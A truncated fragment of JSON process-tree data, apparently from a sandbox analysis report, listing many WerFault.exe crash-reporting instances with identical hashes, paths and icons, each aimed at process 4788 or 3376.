4788","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00003392","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":5140,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 516 -p 4788 -ip 4788","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00005140","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":5808,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 460 -p 4788 -ip 4788","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00005808","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":7248,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 448 -p 4788 -ip 4788","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00007248","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":3452,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 448 -p 4788 -ip 4788","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00003452","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":7368,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 444 -p 4788 -ip 4788","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00007368","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":6096,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 444 -p 4788 -ip 4788","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00006096","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":4424,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 536 -p 4788 -ip 4788","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00004424","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":7308,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 528 -p 4788 -ip 4788","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00007308","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":7336,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 456 -p 4788 -ip 4788","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00007336","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":7292,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 512 -p 4788 -ip 4788","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00007292","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":6484,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 512 -p 4788 -ip 4788","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00006484","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":4736,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 516 -p 4788 -ip 4788","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00004736","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":240,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 520 -p 4788 -ip 4788","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00000240","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":6248,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 392 -p 4788 -ip 4788","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00006248","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":3776,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 452 -p 4788 -ip 4788","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00003776","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":7820,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 512 -p 3376 -ip 3376","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00007820","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":5496,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 512 -p 3376 -ip 3376","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00005496","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":7948,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 524 -p 3376 -ip 3376","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00007948","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":7676,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 540 -p 3376 -ip 3376","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00007676","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":5200,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 524 -p 3376 -ip 3376","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00005200","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":7068,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 424 -p 3376 -ip 3376","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00007068","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":1228,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 528 -p 3376 -ip 3376","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00001228","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":2844,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 528 -p 3376 -ip 3376","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00002844","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":1248,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 512 -p 3376 -ip 3376","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00001248","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":7104,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 512 -p 3376 -ip 3376","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00007104","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":7556,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 548 -p 3376 